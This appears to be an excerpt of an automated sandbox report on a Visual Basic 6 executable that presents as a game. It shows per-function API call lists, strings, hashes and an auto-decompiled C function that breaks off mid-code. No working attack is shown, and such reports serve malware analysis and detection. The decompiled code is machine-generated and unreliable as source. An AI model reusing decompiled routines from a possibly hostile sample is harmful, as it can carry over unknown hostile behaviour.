0x004174b9
0x004174bd
0x004174c2
0x004174cb
0x004174d1
0x004174d3
0x004174e1
0x004174e1
0x00000000
0x004172cf
0x004172cf
0x004174f0
0x004174f0
0x004174f1
0x00000000
0x004174f1
0x004172d5
0x004172d8
0x00000000
0x00000000
0x004172e1
0x004172e7
0x004172f4
0x004172fb
0x00417301
0x00417303
0x00417305
0x00417313
0x00417313
0x0041731c
0x00417325
0x0041732b
0x0041732d
0x0041733b
0x0041733b
0x00417351
0x00417353
0x00417353
0x0041735d
0x00417363
0x00417365
0x00417367
0x00417369
0x00417378
0x00417378
0x00417385
0x0041738b
0x0041738d
0x0041738f
0x0041739d
0x0041739d
0x004173a6
0x004173bc
0x004173c5
0x004173cb
0x004173cd
0x004173cf
0x004173dd
0x004173dd
0x004173f1
0x004173f6
0x00417406
0x00417408
0x0041740f
0x00417412
0x00417414
0x00417416
0x00417421
0x00417421
0x0041742d
0x00417430
0x00417431
0x00417433
0x00417439
0x0041743b
0x0041743d
0x00000000
0x00417443
0x00417443
0x00417447
0x0041744a
0x0041744c
0x0041744e
0x00417459
0x00417459
0x0041746d
0x004174e7
0x004174ea
0x00000000
0x004174ea
0x0041743d
0x00401d2c
0x00401d2c

APIs

__vbaI2I4.MSVBVM60 ref: 00417279
__vbaHresultCheckObj.MSVBVM60(00000000,00401438,0040F430,00000390), ref: 004172BE
__vbaObjSet.MSVBVM60(?,00000000), ref: 004172F2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000009C), ref: 00417313
__vbaFreeObj.MSVBVM60 ref: 0041731C
__vbaHresultCheckObj.MSVBVM60(00000000,00401438,0040F460,000008C8), ref: 0041733B
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041734F
__vbaHresultCheckObj.MSVBVM60(00000000,00080001,0040F430,00000088), ref: 00417378
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000008C), ref: 0041739D
__vbaFreeObj.MSVBVM60 ref: 004173A6
__vbaObjSet.MSVBVM60(?,00000000), ref: 004173BA
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,00000080), ref: 004173DD
__vbaObjSet.MSVBVM60(?,00000000), ref: 004173F1
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417404
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,00000070), ref: 00417421
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410414,00000074), ref: 00417459
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 0041746D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417486
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000009C), ref: 004174AA
__vbaFreeObj.MSVBVM60 ref: 004174B3
__vbaSetSystemError.MSVBVM60(00417CA1), ref: 004174C2
__vbaHresultCheckObj.MSVBVM60(00000000,00401438,0040F460,000008C8), ref: 004174E1

Strings

ButtonStyle, xrefs: 0041728F

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresult$Free$ErrorListSystem
String ID: ButtonStyle
API String ID: 2065985295-197681400
Opcode ID: bbc5f41f7a73664bad52c5b0b027cf9e8044bf67631da28fab916a82f9a5d520
Instruction ID: 561d5bf492293b92b3287269cc5aa7cb666504282eccd3689898acaca69567e2
Opcode Fuzzy Hash: bbc5f41f7a73664bad52c5b0b027cf9e8044bf67631da28fab916a82f9a5d520
Instruction Fuzzy Hash: AD917070600205AFD7109FA5CD88EEFBBB8FF49705F108529F585E71A1DB789485CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041D540, Relevance: 39.2, APIs: 26, Instructions: 247COMMON

Download Yara Rule

APIs

__vbaAryConstruct2.MSVBVM60(?,00411224,00000011,?,00401610,?), ref: 0041D57F
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D5A0
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D5AA
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D5E7
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D5EF
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D5FF
__vbaUbound.MSVBVM60(00000001), ref: 0041D62C
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D667
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D671
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D68C
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D6AC
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D6B9
__vbaAryLock.MSVBVM60(?,?), ref: 0041D6EC
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D716
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D721
__vbaAryLock.MSVBVM60(?,00000000), ref: 0041D731
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D74C
__vbaGenerateBoundsError.MSVBVM60 ref: 0041D754
__vbaUbound.MSVBVM60(00000001), ref: 0041D765
__vbaSetSystemError.MSVBVM60(?,?,-00000001), ref: 0041D797
__vbaAryUnlock.MSVBVM60(?), ref: 0041D7A7
__vbaAryUnlock.MSVBVM60(?), ref: 0041D7AD
__vbaUbound.MSVBVM60(00000001,00000000,00000000), ref: 0041D7B6
__vbaRedimPreserve.MSVBVM60(00000080,00000001,0041A58C,00000011,00000001,-00000002), ref: 0041D7D2
__vbaAryDestruct.MSVBVM60(00000000,?,0041D808), ref: 0041D801

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Ubound$LockUnlock$Construct2DestructPreserveRedimSystem
String ID:
API String ID: 1905101958-0
Opcode ID: a8ad23f9dcfd01aeb99fb3139ad9a747c9cc8279730829ff87abc877471272d5
Instruction ID: c484b7153b9cc1c62c94cb45b4a2f5e62638fb072080c510f63cda569a4f04e1
Opcode Fuzzy Hash: a8ad23f9dcfd01aeb99fb3139ad9a747c9cc8279730829ff87abc877471272d5
Instruction Fuzzy Hash: A7919FB4E00215DFCB14DFA4D9C8AD9BBB5FF09341B108166E816AB361D7B8D8C1CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041E450, Relevance: 37.8, APIs: 25, Instructions: 257COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B730,?,00000000,?,00401668), ref: 0041E49C
__vbaObjSetAddref.MSVBVM60(?,00000000,00000000,?,00401668), ref: 0041E4A9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041E4D4
__vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041E4E1
__vbaFreeVar.MSVBVM60 ref: 0041E4EC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000024), ref: 0041E521
__vbaObjSet.MSVBVM60(?,?), ref: 0041E52E
__vbaFreeObj.MSVBVM60(0041E567), ref: 0041E560

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$AddrefNew2Text
String ID:
API String ID: 4148645594-0
Opcode ID: 80fb95d01ea5f713bce111d37e34614ee59498b58a6ea8c2ebd7a0952463763a
Instruction ID: f17fdf129ea994bf7013bdddb3dd996df24d5ced4d5fd2098d98c95f473ad1e0
Opcode Fuzzy Hash: 80fb95d01ea5f713bce111d37e34614ee59498b58a6ea8c2ebd7a0952463763a
Instruction Fuzzy Hash: 2E916174900209AFDB14DF95CD89EEEBBB9FF58701F10411AF901B72A0D7749985CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDC0, Relevance: 37.8, APIs: 25, Instructions: 257COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B83C,?,00000000,?,?), ref: 0041EE0C
__vbaObjSetAddref.MSVBVM60(?,?,00000000,?,?), ref: 0041EE19
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041EE44
__vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041EE51
__vbaFreeVar.MSVBVM60 ref: 0041EE5C
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000028), ref: 0041EE91
__vbaObjSet.MSVBVM60(?,?), ref: 0041EE9E
__vbaFreeObj.MSVBVM60(0041EED7), ref: 0041EED0

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$AddrefNew2Text
String ID:
API String ID: 4148645594-0
Opcode ID: 5a7762a4c5a1fbe5bcf878ec64fe97f77bc5abc50d34bcd47220fff9c1233cc3
Instruction ID: 7cd1b4a5051931092e980ba27b48fc563e75ac000a27d3a4931071aa543f0103
Opcode Fuzzy Hash: 5a7762a4c5a1fbe5bcf878ec64fe97f77bc5abc50d34bcd47220fff9c1233cc3
Instruction Fuzzy Hash: 33914075900209AFCB14DF95CD88EEEBBB8FF48701F10811AF555B72A1D778A846CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB10, Relevance: 37.8, APIs: 25, Instructions: 257COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B730,00000000,00000000,00000000,?), ref: 0041DB5C
__vbaObjSetAddref.MSVBVM60(?,?,00000000,00000000,?), ref: 0041DB69
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041DB94
__vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041DBA1
__vbaFreeVar.MSVBVM60 ref: 0041DBAC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000024), ref: 0041DBE1
__vbaObjSet.MSVBVM60(?,?), ref: 0041DBEE
__vbaFreeObj.MSVBVM60(0041DC27), ref: 0041DC20

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$AddrefNew2Text
String ID:
API String ID: 4148645594-0
Opcode ID: 1c8f982e608a3b3c4faed6ec19ba6c2181716eb0c28b32470594ae71323303db
Instruction ID: 99d47f10f5cb731ab24f51dbfa51da87ee911a75198df4938470c603465efe0e
Opcode Fuzzy Hash: 1c8f982e608a3b3c4faed6ec19ba6c2181716eb0c28b32470594ae71323303db
Instruction Fuzzy Hash: 08912CB0E00209AFCB14DFA5DD88EEEB7B9FF58701F10851AF505A72A0D778A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041EB10, Relevance: 37.7, APIs: 25, Instructions: 217COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B83C,?,00000000,00401720,00000000), ref: 0041EB74
__vbaObjSetAddref.MSVBVM60(?,?,00000000,00401720,00000000), ref: 0041EB81
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041EBB2
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041EBD9
__vbaVarTextCmpNe.MSVBVM60(?,?,?), ref: 0041EBEA
__vbaVarVargNofree.MSVBVM60(?,00000000), ref: 0041EBFA
__vbaVarTextCmpNe.MSVBVM60(?,00000000), ref: 0041EC05
__vbaVarAnd.MSVBVM60(?,00000000), ref: 0041EC0C
__vbaBoolVarNull.MSVBVM60(00000000), ref: 0041EC13
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0041EC25
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0041EC3B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000028), ref: 0041EC60
__vbaObjSet.MSVBVM60(?,?), ref: 0041EC71
__vbaObjIs.MSVBVM60(?,00000000), ref: 0041EC8A
__vbaObjIs.MSVBVM60(?,00000000), ref: 0041ECAF
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000028), ref: 0041ECD5
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0041ECDF
__vbaFreeObj.MSVBVM60 ref: 0041ECE8
__vbaFreeObj.MSVBVM60(0041EDA3), ref: 0041ED9B
__vbaFreeObj.MSVBVM60 ref: 0041EDA0

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$Addref$Text$BoolListNew2NofreeNullVarg
String ID:
API String ID: 1104298945-0
Opcode ID: 7e6cefaa54a843e35a4180066d965740704f53dabcccb615c4431e20f7cd9adb
Instruction ID: f1e13b1aa51e8554ba06be954cadd588f2b43fe81521c0aa416fbd403c300d70
Opcode Fuzzy Hash: 7e6cefaa54a843e35a4180066d965740704f53dabcccb615c4431e20f7cd9adb
Instruction Fuzzy Hash: 35812CB5900219AFCB10DF95DD89EEEBBB8FF48B00F104159F605F71A0D674A945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00425DD0, Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 158COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(004104D8,0042AA34), ref: 00425E58
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,00000014), ref: 00425E7D
__vbaHresultCheckObj.MSVBVM60(00000000,?,004104E8,00000050), ref: 00425EA1
__vbaStrCat.MSVBVM60(\Sounds\Click.wav,?,00000000,00000001), ref: 00425EB3
__vbaStrMove.MSVBVM60 ref: 00425EBE
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00425EC9
__vbaSetSystemError.MSVBVM60(00000000), ref: 00425ED5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00425EE9
__vbaFreeObj.MSVBVM60 ref: 00425EF5
__vbaVarDup.MSVBVM60 ref: 00425F2D
__vbaVarDup.MSVBVM60 ref: 00425F3F
#595.MSVBVM60(?,00000004,?,?,?), ref: 00425F53
__vbaStrI4.MSVBVM60(00000000), ref: 00425F5A
__vbaStrMove.MSVBVM60 ref: 00425F65
__vbaFreeVarList.MSVBVM60(00000004,?,?,?,?), ref: 00425F7D
__vbaR8Str.MSVBVM60(?), ref: 00425F8A
__vbaFreeStr.MSVBVM60(00425FFA), ref: 00425FF3

Strings

\Sounds\Click.wav, xrefs: 00425EAE
Aseb, xrefs: 00425F20
Are you sure you want to start a new game?, xrefs: 00425F35

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$CheckHresultListMove$#595AnsiErrorNew2System
String ID: Are you sure you want to start a new game?$Aseb$\Sounds\Click.wav
API String ID: 2274796182-1790726986
Opcode ID: 7e048dabae48a738049e64f0c7c78aa2643a052cc66b563a88f36a7e692c6bc8
Instruction ID: 4862316b511b408063ca9b18851ad709a6b62394f4d01c52bdd17cce92a381fa
Opcode Fuzzy Hash: 7e048dabae48a738049e64f0c7c78aa2643a052cc66b563a88f36a7e692c6bc8
Instruction Fuzzy Hash: A3511AB1D00209AFDB14DF94D989AEEBFB8FF58300F10416AE646B72A0DB785585CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004230D0, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 163
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E004230D0(void* __ebx, void* __edi, void* __esi, signed int __fp0, signed int* _a4, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v36;
				char _v52;
				intOrPtr _v192;
				intOrPtr _v220;
				signed int _v250;
				intOrPtr _v264;
				intOrPtr _v276;
				char _v284;
				char _v288;
				void _v304;
				intOrPtr _v328;
				char _v344;
				char _v348;
				intOrPtr _v352;
				char _v376;
				intOrPtr _v392;
				signed int _v400;
				char _v408;
				intOrPtr _v416;
				char _v424;
				char _v428;
				intOrPtr _v520;
				void _v580;
				void _v616;
				intOrPtr _v620;
				char _v628;
				void _v640;
				void* _v644;
				char _v648;
				int _v652;
				int _v656;
				char _v660;
				signed int _v664;
				char _v668;
				intOrPtr _v672;
				char _v676;
				intOrPtr _v680;
				intOrPtr _v684;
				short _v908;
				intOrPtr _v922;
				void _v924;
				signed int _v948;
				intOrPtr _v960;
				char _v964;
				char _v968;
				char _v972;
				intOrPtr _v984;
				intOrPtr _v1124;
				void _v1236;
				intOrPtr _v1240;
				intOrPtr _v1244;
				signed int _v1248;
				signed int _v1252;
				signed int _v1256;
				signed int _v1260;
				void* _v1264;
				signed int _v1268;
				signed int _v1272;
				signed int _v1276;
				signed int _v1280;
				signed int _v1284;
				intOrPtr _v1288;
				signed int _v1292;
				char _v1296;
				signed int _v1300;
				signed int _v1316;
				signed int _v1496;
				void _v1544;
				signed int _v1552;
				signed int _v1556;
				signed int _v1560;
				signed int _v1564;
				void* _v1568;
				signed int _v1572;
				char _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1592;
				char _v1596;
				intOrPtr _v1600;
				void _v1856;
				intOrPtr _v1860;
				intOrPtr _v1868;
				intOrPtr _v1872;
				void* _t216;
				intOrPtr _t221;
				signed int _t227;
				void* _t231;
				void* _t233;
				signed int _t234;
				void* _t236;
				void* _t238;
				void* _t241;
				void* _t244;
				void* _t246;
				void* _t250;
				signed int _t253;
				int _t255;
				signed int _t258;
				signed int _t259;
				void* _t261;
				signed int _t262;
				signed int _t265;
				signed int _t267;
				signed int _t268;
				void* _t270;
				signed int _t271;
				signed int _t273;
				signed int _t278;
				signed int _t280;
				signed int _t281;
				signed int _t286;
				signed int* _t287;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				signed int _t293;
				signed int _t297;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				void* _t307;
				intOrPtr _t309;
				signed int _t310;
				void* _t313;
				void* _t317;
				void* _t324;
				void* _t326;
				void* _t330;
				signed int _t333;
				signed int _t334;
				void* _t337;
				signed int _t339;
				signed int _t340;
				signed int _t341;
				intOrPtr _t342;
				void* _t344;
				void* _t346;
				signed int _t349;
				signed int _t354;
				signed int _t355;
				signed int _t357;
				void* _t359;
				signed int _t361;
				signed int _t365;
				signed int _t368;
				void* _t381;
				void* _t383;
				void* _t384;
				void* _t395;
				signed int* _t397;
				void* _t399;
				signed int _t401;
				intOrPtr* _t403;
				intOrPtr _t453;
				signed int _t454;
				signed int _t455;
				signed int _t457;
				signed int _t458;
				signed int _t460;
				signed int _t467;
				short _t491;
				signed int _t494;
				signed int _t502;
				signed int _t507;
				signed int _t515;
				intOrPtr* _t516;
				intOrPtr* _t517;
				void* _t524;
				void* _t528;
				signed int _t529;
				intOrPtr _t532;
				signed int _t536;
				intOrPtr* _t540;
				intOrPtr* _t553;
				intOrPtr* _t557;
				signed int _t558;
				intOrPtr _t559;
				intOrPtr _t561;
				signed int _t562;
				signed int _t564;
				signed int _t565;
				signed int _t566;
				signed int _t567;
				signed int _t568;
				signed int _t569;
				signed int _t577;
				intOrPtr* _t586;
				void* _t587;
				signed int _t588;
				signed int _t598;
				intOrPtr _t599;
				intOrPtr _t600;
				void* _t601;
				void* _t605;
				void* _t609;
				void* _t611;
				void* _t614;
				intOrPtr _t615;
				signed int _t637;

				_t637 = __fp0;
				_t588 = _t598;
				_t599 = _t598 - 8;
				 *[fs:0x0] = _t599;
				_t600 = _t599 - 0x1a0;
				_v12 = _t600;
				_v8 = 0x401bb8;
				_t397 = _a4;
				memset( &_v304, 0, 0x3e << 2);
				_t601 = _t600 + 0xc;
				_v36 = 0;
				_v52 = 0;
				_v328 = 0;
				_v344 = 0;
				_v348 = 0;
				_v352 = 0;
				_t515 = 0;
				_v376 = 0;
				_v392 = 0;
				_v408 = 0;
				_v424 = 0;
				_v428 = 0;
				_t216 = L00423E30(_t397, 0, _t397);
				__imp____vbaCheckTypeVar( &_v344, 0x411a18,  &_v304, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t587);
				if(_t216 != 0) {
					__imp____vbaVarLateMemCallLd( &_v376,  &_v344, L"hwnd", 0);
					_t553 = __imp____vbaI4Var;
					_t601 = _t601 + 0x10;
					_v428 = 0;
					_t395 =  *_t553( &_v376,  *_t553( &_v52, 1,  &_v428));
					E0040F5DC();
					__imp____vbaSetSystemError(_t395);
					__imp____vbaFreeVar();
					_t515 =  ~(0 | _t395 > 0x00000000);
				}
				_v400 = _t515;
				_t516 = __imp____vbaVarMove;
				_v408 = 0xb;
				 *_t516();
				_push( &_v348);
				_push(_t397);
				L110();
				_push(_v348);
				E00423CC0(_t397, 0, _t588, _t397);
				_push(_v348);
				L11();
				_push(_v348);
				L45();
				_push(_v348);
				L82();
				_push(_v348);
				L22();
				_t221 = _a12;
				if(_t221 != 0) {
					_push(0x8000);
					_push(0);
					_push(_t221);
					E00423FF0();
				}
				__imp__#535();
				_v400 = _t637;
				_v408 = 4;
				 *_t516();
				_t557 = __imp____vbaVarTstLt;
				_t517 = __imp____vbaVarSub;
				while(1) {
					__imp__#535();
					_v400 = _t637;
					_v408 = 4;
					_v416 = 1;
					_v424 = 0x8002;
					_push( *_t517( &_v376,  &_v36,  &_v408));
					_push( &_v424);
					if( *_t557() == 0) {
						break;
					}
					__imp__#598();
				}
				_t227 = _v264 + _v348;
				__eflags = _t227;
				if(_t227 < 0) {
					__imp____vbaErrorOverflow();
					0;
					_push(0x8002);
					_v660 = 0;
					_push(_t557);
					_v656 = 0;
					_push(_t517);
					_v652 = 0;
					_v648 = 0;
					_t231 = memset( &_v580, memset( &_v616, memset( &_v640, 0, 6 << 2), 9 << 2), 0x12 << 2);
					_t605 = _t601 - 0x9c + 0x24;
					_t558 = 0;
					_t399 = 0;
					_v644 = _t231;
					_v664 = _t231;
					_t524 = E00424080();
					_t233 = E004240A0( &_v640);
					_push( &_v668);
					_push(0x18);
					_push(_t233);
					_push(0);
					_push(_t524);
					_t234 = E00424090();
					__eflags = _t234 - 0xc0000004;
					if(_t234 != 0xc0000004) {
						L16:
						__eflags = _t234;
						if(_t234 != 0) {
							_t399 = 6;
						}
						__eflags = _t558;
						if(_t558 != 0) {
							_t250 = E004240A0( &_v640);
							_push(0x18);
							_push(_t558);
							_push(_t250);
							E00424000();
						}
						_t236 = E004240A0( &_v660);
						_push(0x14);
						_push(_v640);
						_push(_t236);
						E00424000();
						_t559 = _v520;
						_v668 = _t559;
						_t238 = E004240A0( &_v676);
						_push(0x14);
						_push(_t238);
						_push(_v656);
						E00424000();
						_t241 = E004240A0( &_v648);
						_push(0x24);
						_push(_v684);
						_push(_t241);
						E00424000();
						_t244 = E004240A0( &_v628);
						_push(0x48);
						_push(_v656);
						_push(_t244);
						E00424000();
						_v620 = _t559;
						_t246 = E004240A0( &_v644);
						_push(0x48);
						_push(_t246);
						_push(_v672);
						E00424000();
						return _t399;
					} else {
						while(1) {
							_t253 = _v664 * 2;
							__eflags = _t253;
							if(_t253 < 0) {
								break;
							}
							__eflags = _t558;
							_v664 = _t253;
							if(_t558 != 0) {
								_t384 = E00424070();
								_push(_t558);
								_push(1);
								_push(_t384);
								E00424060();
							}
							_t381 = E00424070();
							_push(_v664);
							_push(1);
							_push(_t381);
							_t558 = E00424050();
							_t383 = E00424080();
							_push( &_v676);
							_push(_v676);
							_push(_t558);
							_push(0);
							_push(_t383);
							_t234 = E00424090();
							__eflags = _t234 - 0xc0000004;
							if(_t234 == 0xc0000004) {
								continue;
							} else {
								goto L16;
							}
							goto L136;
						}
						__imp____vbaErrorOverflow();
						_push(_t399);
						_push(_t588);
						_push(_t558);
						_push(_t524);
						_t401 = 0;
						_t255 = memset( &_v924, 0, 0x3e << 2);
						_t528 =  &_v964;
						memset(_t528, _t255, 0xa << 2);
						_t609 = _t605 - 0x124 + 0x18;
						_t529 = _t528 + 0xa;
						_push( &_v924);
						_v968 = 0;
						_t561 = 0;
						_t258 = L00423E30(0, 0, _v672);
						__eflags = _t258;
						if(_t258 != 0) {
							_t491 = _v908;
							_t259 = _t258 + 4;
							__eflags = _t259;
							if(_t259 < 0) {
								L44:
								__imp____vbaErrorOverflow();
								_push(_t401);
								_push(_t561);
								_push(_t529);
								_t261 = memset( &_v1236, 0, 0x3e << 2);
								_t611 = _t609 - 0x120 + 0xc;
								_t532 = _v984;
								_v1268 = _t261;
								_v1264 = _t261;
								_v1260 = _t261;
								_t562 = 0;
								_v1256 = _t261;
								_v1244 = 0;
								_push( &_v1236);
								_v1272 = 0;
								_v1252 = _t261;
								_v1276 = 0;
								_v1240 = 0;
								_t262 = L00423E30(_t401, 0, _t532);
								__eflags = _t262;
								if(_t262 != 0) {
									__eflags = _v1124 - 1;
									if(_v1124 <= 1) {
										L80:
										return _t562;
									} else {
										_push( &_v1248);
										_t265 = E00423F10(_t401, 0, _t532, 1);
										__eflags = _t265;
										if(_t265 != 0) {
											__eflags = _v1248;
											if(_v1248 <= 0) {
												goto L80;
											} else {
												_t267 = _v1252;
												__eflags = _t267;
												if(_t267 <= 0) {
													goto L80;
												} else {
													_t268 = _t267 + _t532;
													__eflags = _t268;
													if(_t268 < 0) {
														L81:
														__imp____vbaErrorOverflow();
														_push(_t588);
														_push(_t562);
														_push(_t532);
														_t270 = memset( &_v1544, 0, 0x3e << 2);
														_t614 = _t611 - 0x114 + 0xc;
														_t536 = _v1292;
														_t564 = 0;
														_v1568 = _t270;
														_v1556 = 0;
														_push( &_v1544);
														_v1572 = 0;
														_v1564 = _t270;
														_v1560 = 0;
														_v1552 = 0;
														_t271 = L00423E30(_t401, 0, _t536);
														__eflags = _t271;
														if(_t271 != 0) {
															_t494 = _v1496;
															_t273 = _t536 - _t494;
															__eflags = _t273;
															if(_t273 < 0) {
																L109:
																__imp____vbaErrorOverflow();
																_push(_t588);
																_t615 = _t614 - 8;
																_push(0x401d26);
																_push( *[fs:0x0]);
																 *[fs:0x0] = _t615;
																_push(_t401);
																_push(_t564);
																_push(_t536);
																_v1600 = _t615 - 0x11c;
																_v1596 = 0x401bc8;
																memset( &_v1856, 0, 0x3e << 2);
																_push( &_v1856);
																_v1860 = 0;
																_v1868 = 0;
																_v1872 = 0;
																_t278 = L00423E30(_t401, _t564, _v1584);
																__eflags = _t278;
																if(_t278 != 0) {
																	__eflags =  *0x42aa34; // 0x27ef774
																	if(__eflags == 0) {
																		__imp____vbaNew2(0x4104d8, 0x42aa34);
																	}
																	_t565 =  *0x42aa34; // 0x27ef774
